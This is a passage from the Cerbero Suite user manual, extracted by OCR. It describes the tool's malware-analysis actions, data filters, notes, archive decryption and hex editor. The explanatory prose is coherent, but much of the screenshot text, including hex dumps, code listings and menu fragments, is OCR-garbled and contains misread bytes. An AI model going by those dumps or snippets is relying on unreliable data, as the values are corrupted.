16
17
18
19
20
21

v.isValid():
view = SiliconSpreadsheetWorkspaceView (v)
helper = EmulatorHelper()

emu = view.getExcelEmulator ()

emu. 5g
L setMaxCallStackDepth |-
setVerbose
setWait
setWorkspace

Additionally, the editor provides tooltips that appear when you are inputting function

arguments.

10 # 1

oad the file as F

11 pdf = PDEObject(

12
13
14
15
16
17
18
19
20
21
22
23

pdf.Load(c) :
print ("error: i

4.22 ACTIONS

Actions are basic and straightforward extensions for Cerbero Suite, characterized by
their versatility and utility. They are context-sensitive, becoming available based on the
current view and the format of the selected object. This adaptability permits a wide
array of operations, ranging from basic tasks such as converting data and text, to more
complex functions like finding strings in binary data and calculating entropy to assess
the randomness of data. Moreover, actions enable the launching of specialized tools,

including deobfuscators, unpackers, emulators, and debuggers.
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Actions | Views Tools Help

Execute Action... Ctrl+R

PE
JavaScript
Online
Python
Reversing
Unpacker
Views
YARA

Execute Script... Ctrl+Alt+R
& Open New Python Editor Ctrl+Alt+P

3

3

89



Actions can be executed either through the main menu or by opening the actions dialog
with the shortcut (Ctrl+R).

Execute Action... - Cerbero Suite

Instaled Editor
[[] Show disabled actions

Fiker....

Configure

PE

Address Converter

Jump to Entry Point

Display Layout Ranges

Download PDB
Conversion

Bytes to Text
Cryptography

String Decrypter
Data

Entropy

File Miner

Find Strings

Magic Information
Emulate

JavaScript
Debug JavaScript

Emulate Windows shellcode

% % 2%

X

¥ o 0 b

%

oK Cancel

You can select your favorite actions by toggling the star icon next to the action’s name.
Designating an action as a favorite places it at the top level of the actions menu and the
context menu within the various views.

=1
-1
~

a1

AT 20 A3 A1 ARE AR AF

is nramram,

Copy
Edit

Find
Select
View
Print

/ Filter..

[ e e e R e i e e i e o A e e R o e e R Y v« N v ¢ I . = 0 = [ 0 S == 1

Position

Screenshot
Ranges
Layout

.. Bytes to Text
.. Find Strings

Duplicate View
~ To Text Browser View

Add Selection as Child Object
L' Add Selection as Root Object

»
»
3

»

Ctrl+Shift+D
Ctrl+Shift+T

Ctrl+T
Ctrl+E

o= g

The actions dialog also features a Python editor, allowing for the creation of simple

actions on the fly.
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Execute Action... - Cerbero Suite

Installed Editor

ww ~ | ~ [Type here the name of the script to automaticaly save it

1 # Insert Python code hereg|
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Although it’s not feasible to detail every available action here, as they vary depending
on the packages installed, it’s beneficial to outline some of the most essential ones.

4.22.1 CONVERSION ACTIONS

Conversion actions are designed to transform data to text and vice versa, representing
some of the most frequently utilized functions.

For instance, during the analysis of a suspicious file, you might discover a base64-encoded
string. Encountering base64 strings is a typical scenario in malware or other malicious
file investigations, as attackers frequently encode harmful data to bypass detection mech-
anisms.

Conversion
Base64 to Bytes
Hex String to Bytes
Text to Bytes

Using the appropriate conversion action, you can decode the base64 string, and the raw
data is immediately displayed in a new hex view.

Alternatively, if you need to convert raw data into text, you can achieve this by selecting a
specific encoding with the 'Bytes to Text’ action. This action decodes the data according
to the chosen encoding scheme and displays the resulting text in a new text view.

Conversion
Bytes to Text

4.22.2 DATA ACTIONS

Data actions are primarily performed in hex views, but some are available in other con-
texts, like Carbon disassembly views.

4.22.2.1 STRINGS

The 'Find Strings’” action can be activated from both hex views and Carbon disassembly
views.

Data
Entropy
Find Strings
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The actions prompts a dialog with options to specify the type of strings you're looking
for. This includes choices for encoding, language, minimum length and the option for
zero-termination.

Find Strings Options - Cerbero Suite = a
Parameters
Encodng: |UTF-8 ~| Language: [Englsh -
Minimum string length: |4 [] Zero terminated Add
String Types
Encoding Language Minimum Length Zero Terminated Edit
UTF-8 English 4 No o
UTF-16 English 4 No
Clear
Reset
Search Cancel

The search process is not only rapid but also dynamic, with the results being populated
and updated in real-time during the search.

U Hex Text | Rl overview
offset | 0 1 2 3 4 5 6 1 8 9 A B C D E F RSCIT

00000000 | D 52 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.............. <-Format Data
00000010 | B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 | . .

00000020 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .
00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 | . .
00000040 OE 1F BA OE 00 B4 09 CD 21 BB 01 4C CD 21 54 68 . ... L.!Th
00000050 | 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is.program.canno
00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t.be.run.in.DOS.
00000070 | 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00
00000080 | 41 21 11 53 05 40 7F 00 05 40 7F 00 05 40 7F 00
00000090 B1 DC 8E 00 0C 40 7F 00 B1 DC 8C 00 79 40 7F 00
00000020 | B1 DC 8D 00 1D 40 7F 00 DC 22 7C 01 16 40 7F 00

Cursor: 0 - (Format Data)

* Find Strings
offset size  Encoding Location String
0000004D  0000002C UTE-8 headers IThis program cannot be run in DOS mode. \n$
000000F8 00000004 UTE-8 headers Rich
00000208 00000005 UTE-8 headers: SectionHeader _text
0000022F 00000007 UTE-8 headers: SectionHeader *.rdata
00000257 00000006 UTE-8 headers: SectionHeader @.data
00000280 00000009 UTE-8 headers: SectionHeader .wixburng
000002A7 00000006 UTE-8 headers: SectionHeader @.xsrc
000002CF 00000007 UTE-8 headers: SectionHeader @.reloc
Fiter.

383039 strings found

Selecting a specific string in the results will conveniently navigate you to its corresponding
location in the view from where the action was initiated.

4.22.2.2 ENTROPY

The "Entropy’ action calculates the randomness of the selected data in the hex view. If
no data is selected, it evaluates the entire content available in the hex view.

Data
| Entropy

The action displays a graphical representation of the entropy, allowing you to navigate

© 2025 Cerbero Labs 92



the hex view by clicking on areas of interest.

[Uxtex || = Texe | ioll overview

offse | 0 1 2 3 4 5 6 7 8 9 AR B C D E F ascIz ~

00000000 | [iD 5A 90 00 03 00 00 00 04 00 00 00 FE EE 00 00
00000010 | B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00000020 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00
00000040 | OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 .
00000050 | 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is.

0 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t.be.
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode.
00000080 | 41 21 11 53 05 40 7F 00 05 40 7F 00 05 40 7F 00 A!
00000090 | B1 DC BE 00 0C 40 7E 00 B1 DC 8¢ 00 79 40 7E 00 ..
00000020 | BL DC 8D 00 1D 40 7F 00  DC 22 7C 01 16 40 7F 00 ..

Cursor: 0 Selection: 0 Size: 1BSESEO - (Format Data)
* Entropy [Analyss [python-3.9.7-amd64.exe]] (0 - 1BBEBE0) 5 x

Entropy (0 - 1BS8ESEOQ)

8

[ 4.768 MBs 9.537 MBs. 14.31 MBs 19.07 MBs 23.84 MBs

4.22.3 TEXT ACTIONS

Text actions operate in the context of text views and provide straightforward functions
for basic text operations, including converting text to upper or lower case, reversing the
characters, and trimming white spaces.

Text
Lowercase
Reverse
Strip
Uppercase

4.22.4 FORMAT SPECIFIC ACTIONS

Some actions are only available in the context of specific file formats.

PE
Address Converter
Jump to Entry Point
Display Layout Ranges
Download PDB

For instance, when analyzing a PE (Portable Executable) file, there’s an address conver-
sion action that allows for converting between VAs (Virtual Addresses), RVAs (Relative
Virtual Addresses), and offsets. This action can also navigate directly to the converted
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location.

PE address converter - Cerbero Suite

- oEN

Property  Value

Address 00007150
Type  [RVA

Radix  Hex

Address 00006550
Type  [Offset

Radix  Hex

On enter|Save settings & jump

Similarly, for all executable file formats, like PEs, ELFs, and Mach-Os, there is an action
to display their layout ranges. This action aids in understanding the location of various
data types within the file, providing a clearer picture of its structure.

Y Analysis [python-3.9.7-amd64.exe] o PE Layout: [python-3.9.7-amd64.exe]
Offset 0 1 2 3 4 5 6 1 8 9 A B C D E F AscIT
00000000 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 <-DOSHeader
00000010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00
00000040 OE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 .
00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E is.program. canno
00000060 74 20 62 65 20 72 75 €E 20 €9 6E 20 44 4F 53
00000070 6D 6F 64 65 2E 0D 0D OA 24 00 00 00 00 00 00
00000080 ' 41 21 11 53 05 40 7F 00 05 40 7€ 00 05 40 7F
00000090 B1 DC 8E 00 OC 40 7F 00 Bl DC 8C 00 79 40 7F
00000020 B1 DC 8D 00 1D 40 7F 00 DC 22 7C 01 16 40 7F
00000080 | DC 22 7B 01 16 40 7F 00 DC 22 7A 01 23 40 7F
000000CO OC 38 FC 00 00 40 7F 00 0C 38 EC 00 14 40 7F
000000D0 05 40 7E 00 50 41 7F 00 Al 23 7A 01 4E 40 7F
000000E0 Al 23 80 00 04 40 7F 00 05 40 E8 00 07 40 7F
000000F0 ' A1 23 7D 01 04 40 7F 00 52 69 63 68 05 40 7F
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O -NTHeaders
00000110 S0 45 00 00 4C 01 06 00 86 AD 10 5A 00 00 00 <-NTHeaders - FileHeader
00000120 | 00 00 00 00 EO 00 02 0D 0B 01 OE 0B 00 9a 04 <-FileHeader - Optionalheader
00000130 00 SE 03 00 00 00 00 00 A6 E2 02 00 00 10 00 <-Optionalkeader
00000140 00 BO 04 00 00 00 40 00 00 10 00 00 00 02 00
00000150 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00
00000160 00 80 08 00 00 04 00 00 C4 0D B9 01 02 00 40
00000170 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00
00000180 ' 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 lHeader - DataDi
00000190 B4 86 06 00 B4 00 00 00 00 DO 06 00 F4 65 01 <-Databirectories
00000120 00 00 00 00 00 00 00 00 F8 CB B8 01 E8 1C 00
000001BO 00 40 08 00 FC 3D 00 00 50 76 06 00 54 00 00
000001CO | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001D0 A4 76 06 00 18 00 00 00 30 70 06 00 40 00 00

4.23 FILTERS

Filters, one of the many innovations introduced by Cerbero Suite, are extremely powerful
tools designed to transform input data into a desired output. Filters are designed to be
incredibly fast and capable of handling data of any size.

Filter views can be opened from hex views and Carbon disassembly views either through
their context menu or by using the Ctrl4+T shortcut. Additionally, when adding a child
object, a filter view is available to apply transformations to the child object before it is

loaded.

Fiter

“4 . misc
[/ basic
7/ copy
7 endianness
7 insert
7 replace
reverse
“4 . convert

N

7 from array

operation

bits
endianness

radix

value

pAdd | HRemove 4 MoveUp 4 Move Dovn
Preview
Offset | 0 1 2 3 4 5 6 7 BAsCII A|[ offset T 0 1 6 7| ascix

00000000 | 4D A
00000008 | 04 00
00000010 | B8 00
00000018 | 40 00
00000020 | 00 00
00000028 | 00 00
00000030 | 00 00
00000038 | 00 00

90
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00000040 0E 1F BA OE
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Filters are organized in categories and capable of transforming data in various ways, in-
cluding performing arithmetic and logical operations, replacements, conversions, hashing,
compression, decompression, encryption, decryption, and much more.

Filters can have parameters, allowing for customized operations. For instance, you might

choose to XOR the

Fiter

input data with a specific value.

Property Value
4 misc B
7 basic operation xor
7 copy bits 8
7 endianness endianness e
7 insert radix 16
7 replace value cc
7 reverse Condition (optional)
4 ja convert check none
7 from_array UL cvalue
- Add & Remove ¥ Move Up ¥ Move Down offset -1
 misc/basic (operation:or, value:CC, bits:8) ‘ size 1
trim no
Preview
offset | 0 1 2 3 4 5 6 7 ascil A|[offset | 0 1 2 3 4 5 6 7] Ascit B

00000000 | 4D 5A 90 00 03 00 00 00  MZ...... 00000000 81 96 5C CC CF CC CC CC
00000008 | 04 00 00 00 EF EE 00 00 .

00000010 | B8 00 00 00 00 00 00 00
00000018 | 40 00 00 00 00 00 00 00
00000020 | 00 00 00 00 00 00 00 00
00000028 | 00 00 00 00 00 00 00 00
00000030 | 00 00 00 00 00 00 00 00
00000038 | 00 00 00 00 10 01 00 00
00000040 OE 1F BA OE 00 B4 09 CD

00000008 | €8 CC CC CC 33 33 CC CC | ..
00000010 | 74 CC CC CC CC CC €C CC
00000018  8C CC CC CC CC CC CC CC
00000020 | CC CC CC CC CC CC CC CC
00000028 | CC CC CC CC CC CC CC CC
00000030 | CC CC CC CC CC CC cC cC
00000038 | CC CC CC CC DC CD CC CC
00000040 | €2 D3 76 C2 CC 78 €5 01 | ..v..x..

To compute the output data, select the 'Preview’ button.

Filters can be stacked, meaning re-applying the same XOR to the data will result in the

original input data.

Fiker.
4 i misc | params
7 basic operation
7 copy bits
7 endianness endianness
7 insert radix
7 replace value
7 reverse

4 convert

eadd | HRemove 4 MoveUp ¥ Move Down

2/ from_array

7 misc/basic (operation:xor, value:CC, bits:8)
7 misc/basic (operationixor, value:CC, bits:8)

offset 0 1 2 3 4 5 6 7| AsciI ~|[ ofgset
00000000 4D SA 90 00 03 00 00 00 | Mz...... 00000000 | 4D SA 90 00 03 00 00 00 | Mz......
00000008 04 00 00 00 FF FF 00 00 | ....... 00000008 | 04 00 00 00 FF FF 00 00 .

00000010 | B8 00 00 00 00 00 00 00
00000018 | 40 00 00 00 00 00 00 00
00000020 | 00 00 00 00 00 00 00 00
00000028 | 00 00 00 00 00 00 00 00
00000030 | 00 00 00 00 00 00 00 00
00000038 | 00 00 00 00 10 01 00 00
00000040 OE 1F BA OE 00 B4 09 CD | ........ 00000040 | OE 1F BA OE 00 B4 09 CD | ........

01 2 3 4 5 6 7| ascir

00000010 | B8 00 00 00 00 00 00 00 | ..
00000018 | 40 00 00 00 00 00 00 00
00000020 | 00 00 00 00 00 00 00 00
00000028 | 00 00 00 00 00 00 00 00
00000030 | 00 00 00 00 00 00 00 00
00000038 | 00 00 00 00 10 01 00 00

If you select data in any of the hex views within the filter view and add a filter, you
will have the option to trim the rest of the data. This feature enables you to apply the
filter exclusively to a specific range, allowing you to discard data to the left, right, or
both sides of the selection. Alternatively, you can choose to apply the filter only to the
selected range while retaining the surrounding data.

Use current hex selection? - Cerbero Suite

Do you want to apply the current hex selection to the range settings for the fiter?
This will cause the fiter to be applied only to the range described by the selection.

trim:

| Use selection | | No |

© 2025 Cerbero Labs

95



—_

O © 0O Ui WD~

Filters can also be imported and exported, facilitating the sharing and reuse of custom
filter configurations.

| “y Add || xRemove ‘ " Move Up < Move Down

/ misc/basic (operat Clear

Export..  Ctrl+E
Import...  Ctrl+l

Filters are imported and exported as single-line XML strings, simplifying the process of
exporting them for use in Python code.

Pro.Core *

¢ = NTContainer ()
c.setData(b"Hello, world!")
# compress data with zlib
fstr = "<flts><f name=’pack/zlib’ level=’9’ raw=’true’/></flts>"
# set the last parameter to False to hide the wait-box
¢ = applyFilters(c, fstr, True)
# print out the compressed data
(c.read (0, c.size()))

In the upcoming sub-sections, we’ll provide an overview of the different categories of
filters available.

4.23.1 MISCELLANEOUS FILTERS

The miscellaneous category includes some of the most frequently used and fundamental
filters.

4 L misc

basic

copy
endianness
insert
replace
reverse

NNNNNN

We have already briefly introduced the 'misc/basic’ filter in our previous XOR example.
This filter is capable of performing arithmetic and logical operations with many different
parameters, including bit size, endianness and values to compare to.

Property Value

endianness
radix

value

cvalue
Range
offset -1
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The 'misc/replace’ filter enables the replacement of string and hex sequences. The 'mis-
c/endianness’ filter is utilized for quickly flipping the bytes in words, dwords, and qwords.
The "misc/insert’ filter can insert a specified pattern at every N bytes of input. The 'mis-
c/reverse’ filter inverts the order of input bytes.

4.23.2 CONVERSION FILTERS

Similarly to the miscellaneous category, the conversion category too includes some of the
most frequently used filters.

4 o convert
from_array
from_base64
from_hex
from_quopri
to_array
to_basebd
to_hex

NNNSNNNNN

Filters for converting from/to base64 and from/to hex are straightforward and require
no further explanation. However, the 'convert/from_array’ and ’convert/to_array’ filters
are more complex yet incredibly useful for specific data manipulation tasks.

The ’convert/to_array’ filter enables the conversion of input data into any kind of text
array. It allows for the specification of various parameters, including radix, bit size,
endianness, number of elements per row, separators, alignment, and much more, providing
extensive flexibility in how data is formatted and represented.

Fiter Property Value ~
7 reverse ~
4 i convert radix 16
7 from_array bits 8
2 from bases4 endianness it
7 from_hex 1 aign
7 from_quopri ] signed
7 to.amay columns 16
7 to_base64 fow_prefix
7 tohex ol rowsuffix \n
item _prefix
deadd | % Remove Move Up | 4 Move Down | jtem_suffix
/7 convert/to_array (signed:false, item _suffix. item_prefix||  item_separator

row_item_separator
< > v

Preview

012 345 6 1
00 | E8 1A 05 00 00 E9 6E FE
)08 | FF FF 85 44 24 08 85 4C
0 24 10 08 C8 8B 4C 24 OC
00000018 | 75 09 8B 44 24 04 F7 E1

20 | €2 10 00 53 F7 E1 6B D8

~|| 1E8 12 05 00 00 E9 8E FE FF FF 83 44 24 08 8B 4C ~
224 10 0B CB 8B 4C 24 0C 75 09 8B 44 24 04 F7 E1
3C2 10 00 53 F7 E1 BB D3 85 44 24 08 F7 64 24 14
403 D2 82 44 24 08 F7 E1 03 D3 58 C2 10 00 CC CC

5 CC CC CC CC CC CC CC CC CC CC 80 F9 40 73 15 80
6 F9 20 73 06 OF AD DO D3 EA C3 8B C2 33 D2 80 E1
00000028 | 85 44 24 08 F7 64 24 14 7 1F D3 EB C3 33 CO 33 D2 C3 55 83 EC EB 0D FF 75
00000030 | 03 DB 8B 44 24 08 F7 E1 8 08 ES 87 €8 00 00 59 85 CO 74 OF FF 75 08 £8 10
00000038 | 03 D3 5B C2 10 00 CC CC | .. [nonr. 9 69 00 00 59 85 CO 74 E6 5D C3 83 7D 08 FF OF 84
00000040 | CC CC C CC CC CC CC O oonnnns 10 9E 08 00 00 E9 7C 08 00 00 55 8B EC FF 75 08 E8

v|[|11 B8 08 00 00 59 5D C3 55 8B EC F6 45 08 01 56 8B
12 F1 C7 06 B8 0D 46 00 74 OA 6A OC 56 E8 D8 FF FF
12 FF 59 50 AR CA SR 5D (2 04 00 53 56 AR 44 24 18

00000020

weL | xen

As shown in the provided image, the output from the ’convert/to_array’ filter is displayed
in a text view, which is a convenient feature for filters that generate text output. However,
if you prefer to view the output in hex format, you can easily switch to the hex view by
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using the lateral tab bar.

¥3H

RECTR

The ’convert/from_array’ filter offers fewer parameters but is even more useful, as it
can intelligently extract values from any text array. It effectively ignores separators and
spaces while accurately interpreting the radix of the values, making it highly efficient for
parsing and converting text arrays back into binary data.

Fiter

7 reverse ~
4 convert
7 from array

2/ from base64

7 from hex

7 from_quopri

7 to_aray

7 to_base64

7 tohex v

o Add H Remove & Move Up 4 Move Down

7 convert/to_array (signed-false, item_suffix. item_prefix]
7 convert/from_array (radix:16, bits:8)

< >
Preview.

offset | 0 1 2 3 4 5 6 7 AscII Al[offser [ 0 1 2 3 4 5 6 7 ~

00000000 | EE 1R 05 00 00 E9 8E FE  ........ 00000000 E8 1A 05 00 00 E9 BE FE

00000008 | FF FF 8B 44 24 08 8B 4C  ...DS..L 00000008 FF FF 8B 44 24 08 8B 4C

00000010 | 24 10 0B CB 8B 4C 24 0C | §....IS. 00000010 | 24 10 0B CB 8B 4C 24 0C

00000018 75 09 83 44 24 04 F7 E1  u..DS... 00000018 | 75 09 88 44 24 04 F7 E1
00000020 €2 10 00 53 £7 EL 8B DB .

00000028 | 8B 44 24 08 E7 64 24 14
00000030 03 D3 83 44 24 08 F7 E1
00000038 03 D3 5B C2 10 00 CC CC
00000040 | CC CC CC CC CC CC CC CC

00000020 €2 10 00 53 £7 E1 8B D& ..
00000028 | 8B 44 24 08 E7 64 24 14 .
00000030 03 D3 83 44 24 08 F7 E1
00000038 | 03 D3 5B C2 10 00 CC CC ..
00000040 | CC CC CC CC CC CC CC CC

<

4.23.3 HASHING FILTERS

Hashing filters transform input data into its hash value.

4 4 hash
adler32
cre3l
hmac.shal
md5
rmd128
rmd160
shal
sha256
sha3-224
sha3-256
sha3-384

NANNNNNNNNNN
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4.23.4 COMPRESSION & DECOMPRESSION FILTERS

Compression and decompression filters respectively compress and decompress input data.

4 L pack
Z zlib
4 4 unpack
/ bzip2
7 deflate6d
/ lzma
/ zlib
/ 7std

4.23.5 ENCRYPTION & DECRYPTION FILTERS

Encryption and decryption filters respectively encrypt and decrypt input data.

4 g encrypt
/ aes
/ blowfish
/ des
7 orcd
4y decrypt
/ aes
/ blowfish
/ des
Forcd

Cryptographic filters usually allow the specification of a key, IV (Initialization Vector),
block size, and operation mode.

key_length

block_length| 4,
key_input  |ar
key ofb
iv_input | hex

iv
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4.23.6 DISASSEMBLY FILTERS

Disassembly filters convert the input data into disassembled text instructions.

4 gy disasm
8086
arm
arme4
as3
dalvik
java
mips
msil
Ppc
thumb
64
86

NNNNNNNNNNNN

A variety of disassembly filters are available for various architectures, including x86,
x64, ARM32, ARM64, Java bytecode, MSIL (.NET) bytecode, and Dalvik (Android)
bytecode.

Fiter
7 java ~
7 mips base 00000000
7 msil [ offsets
7 ppc opcodes
7 thumb maxops 6
7 64 opind 10
7 x86
4 . dev
7 amay .

pAdd | HRemove 4 MoveUp ¥ Move Down

7 disasm/x64 (opind:A, opcodesitrue, base:0, offsetsifals¢

offset | 0 1 2 3 4 5 6 7 AsCII ~l[1E8 12 05 00 00 0x51£ ~
00000000 | 8 1A 05 00 00 ES 8E FE . 2 B9 8E FE FF FF OREEEEEEEFEEEETeOH
00000008 FF FF 85 44 24 03 85 4C . 388 44 24 08 eax, dword ptr [rsp + 6]
00000010 | 24 10 0B C8 8B 4C 24 0C 488 4cC 24 10 ecx, dword ptr [rsp + 0x10] }
00000018 | 75 09 8B 44 24 04 F7 E1 S5 0B c8 ecx, eax g
00000020 | C2 10 00 53 F7 E1 88 DB . 6 8B 4c 24 0C ecx, dword ptr [rsp + Oxcl
00000028 | BB 44 24 08 F7 64 24 14 . 775 09 0x23 o
00000030 | 03 DB 8B 44 24 08 F7 E1 888 44 24 04 eax, dword ptr (rsp + 4] g
00000038 | 03 D3 5B €2 10 00 CC CC 9 F7 E1 ecx [
00000040 | CC CC CC CC CC CC CC CC | .uvvnnnn 10/c2 10 00 0x10
vf| 1153 rbx
12 7 B1 ecx
13 AR DA ebx. eax e
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4.23.7 DEVELOPMENT FILTERS

Development filters are designed to be useful to developers. For example, the ’dev/array’
filter converts input data into an array in the programming language of your choice.

Filter
7 64 ~
7 %86 lang c
4 dev columns 16
7 amay ] radix 16
4 lua bits s
7 custom endianness e
7 loop (] signed
4\ android
7 from_axml o
e Add R Remove 4 Move Up 4 Move Down
7 devsarray (signed:false, radix:16, columns:16, langic, bi

Preview

Offset | 0 1 2 3 4 5 6 7
00000000 | 4D 5A 90 00 03 00 00 00
00000008 | 04 00 00 00 EF EE 00 00
00000010 | B8 00 00 00 00 00 00 00
00000018 | 40 00 00 00 00 00 00 00
00000020 | 00 00 00 00 00 00 00 00
00000028 | 00 00 00 00 00 00 00 00
00000030 | 00 00 00 00 00 00 00 00
00000038 | 00 00 00 00 10 01 00 00
00000040 | OE 1F BA OE 00 B4 09 CD

unsigned char datal112] =
{

0x4D, Ox5A, 0x90, 0%00, 0x03, 0%00, 0x00, 0x00, 0x04, 0x00, 0x0(
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0§

1
2

3

g T
5 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 000, Ox0

6

B

8

9

0

0x00, 0x00, 0x00, 0%00, 0x00, 0X00, 0x00, 0X00, 0x00, 0X00, OxO

0X0E, OX1F, OxBA, OxOE, 0x00, 0%B4, 0x09, 0xCD, 0x21, 0xBE, 0%0]

0x69, 0x73, 0x20, 0x70, 0x72, Ox6F, 0x67, 0x72, 0x61, 0x6D, 0x2(&

0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, OX6E, 0x20, 0x69, Oxér "
T

g

< >

4.23.8 LUA FILTERS

Lua filters are programmable filters that you can customize using the Lua programming
language.

4 4 lua
/ custom

7/ loop

While the "lua/loop’ Lua filter provides basic loop customization, the 'lua/custom’ filter
allows you to write your own custom filters.

Ve Edit... - Cerbero Suite - O
1 —— example
2 run(filter)
3 c = filter:container ()
4 size = cisize()
5] offset = 0
6 bsize = 16384
7 size ~= 0
8 bsize > size bsize = size
9 block = c:read(offset, bsize)
10 boffs = 0
11 boffs < bsize
12 e = block:readU8 (boffs)
13 e = bit.bxor(e, 0xFF)
14 block:writeUs (boffs, &)
15 boffs = boffs + 1
16
17 c:write (offset, block)
18 offset = offset + bsize
19 size = size - bsize
20
21 Base.FilterErr None
22
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Lua filters can also be used to add child objects and are embedded into projects. Lua runs
in a sandboxed environment to ensure security. However, you can disable these types of
filters from the settings if preferred.

4.23.9 SPECIALIZED FILTERS

Other specialized filters designed for very specific purposes also exist.

4 o android
7/ from_axml

For example, the ’android/from_axml’ filter converts Android binary XML to text.

4.24 NOTES

Similar to bookmarks, notes can be categorized as either global or specific to the current
root object.

‘.‘g_ Open Global Notes Ctrl+Shift+N
"\ Open Notes Ctrl+N

The purpose of notes is to facilitate the annotation of observations during the analysis,
ensuring these annotations are saved within the project.

& Global Notes £ % Global Bookmarks 4

This 1s note

4.25 FILE DECRYPTION

When encountering an encrypted file, Cerbero Suite utilizes available key provider exten-
sions to attempt decryption. If decryption fails and the file is being scanned individually,
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you will be prompted to enter a password to decrypt the file.

Enter key - [encrypted.zip] - Cerbero Suite - o

Please enter the key for "C:\tmp\encrypted.zip". You may specify one or more keys.

Text

Hex

Insert each text password on a new line:

Remember entered keys

If the decryption is successful, you can verify which password was used by selecting the
'File’ — "Decryption Keys’ menu action.

{@ Decryption Keys

This action opens a dialog displaying the keys that were used during the scanning process.

Decryption Keys - Cerbero Suite

- oEN

Current Matches

# UTF-8 Hex
1 infected 696R666563746564
Cached Matches
# UTF-8 Hex
1 infected 69CE666563746564

The current matches display the keys used to decrypt the current object, while the cached
matches show the keys provided by the key providers that were used to decrypt all objects.
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ADDITIONAL BUILT-IN WORKSPACES

In addition to the analysis workspace, Cerbero Suite offers several other built-in workspaces
designed to complement and enhance your cybersecurity tasks. These workspaces are in-
tuitively structured, ensuring that if you are familiar with the analysis workspace, you
will find these additional workspaces straightforward to use.

This chapter will briefly introduce each of these additional built-in workspaces. For each
workspace, we provide a concise description along with details of any notable features
and functionalities. The aim is to familiarize you with the range of built-in tools at your
disposal and help you seamlessly integrate them into your workflow.

This chapter is brief as most of the additional workspaces are available through optional
packages on Cerbero Store.
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5.1 HEX EDITOR WORKSPACE

The hex editor workspace offers all the capabilities and features expected of an advanced
hex editor.

[ExceptionTest.exe] - Hex Editor - Cerbero Suite - 0o
File Edit Copy Select Layouts Actions Views Tools Help
w-HEE# D EWE OO0 & 2
Ux ExceptionTest.exe & X
offset 01 2 3 4 5 & 7 8 9 2 B C D E F ASCIT ~

00000000 | 4D SA S0 00 03 00 00 00 04 00 00 Q0 FF FF 00 00
00000010 | BB 00 00 00 00 00 00 00 40 00 00 00 00 00 00 OO0
00000020 | 00 00 00 00 00 00 00 0Q 00 00 00 00 00 00 00 00
00000030 | 00 00 00 00 00 00 00 00 00 00 00 00 FB 00 00 00
00000040 | OE 1F BA 0OE 00 B4 0% CD 21 B8 01 4c CD 21 54 &8
00000050 | 69 73 20 70 72 &F &7 72 61 6D 20 &3 61 6E GE &F
00000060 | 74 20 62 65 20 72 75 €E 20 €9 6E 20 44 4F 53 20
00000070 | oD 6F €4 €5 2E 0D 0D OR 24 00 00 00 00 00 00 QO
00000080 | F5 57 62 A3 B1 36 0OC FO Bl 36 0OCc FO B1 36 0C FO
Qooooooso | F7 e7 DL FO B2 36 OC FO F7 €7 D3 FO BO 36 0OC FO
00000020 | F7 67 EC FO A1 36 OC FO F7 €7 ED FO B3 36 0C FO
000000BO | ©C C2 C7 FO B3 36 0C FO Bl 36 0D FO 95 3¢ 0C FO
000000CO | BC 64 E9 FO B3 36 0OC FO BC €4 D7 FO BO 36 0C FO
Qooooop0 | BC €4 D2 FO BO 3e OC FO 52 €9 €3 68 Bl 3¢ 0C FO
000000EQ | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000F0 | 00 00 00 00 00 00 00 00 50 45 00 00 &4 86 06 0O
00000100 | 08 66 C9 5C 00 00 00 00 00 00 00 00 FO 00 22 00
00000110 0B 02 0OC 00 00 QR 00 00 00 14 00 00 00 00 00 QO
00000120 | 14 13 00 00 00 10 00 0Q 00 00 00 40 01 00 00 0O
00000130 00 10 00 00 00 02 00 00 0g 00 00 Q0 00 00 00 QO
00000140 | 06 00 00 00 00 00 00 0Q 00 70 00 00 00 04 00 0O
Q00000150 | 00 00 00 00 03 00 60 81 00 00 10 00 00 00 0O 00
00000160 | 00 10 00 00 00 00 00 0Q 00 00 10 00 00 00 00 0O
00000170 | 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 0O
00000180 | 00 00 00 00 00 00 00 0Q 98 23 00 00 3C 00 00 0O
00000190 | 00 50 00 00 EO 01 00 00 00 40 00 00 FO 00 00 0O
00000120 | 00 00 00 00 00 00 00 00 00 &0 00 00 18 00 00 00
000001B0 | 70 21 00 00 38 00 00 0Q 00 00 00 00 00 00 00 0O
000001c0O | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001D0 | DO 21 00 00 70 00 00 0Q 00 00 00 00 00 00 00 0O
000001E0 | 00 20 00 00 28 01 00 00 00 00 00 00 00 00 00 00

Enter Python code here [focus with Ctrl+Alt+.]

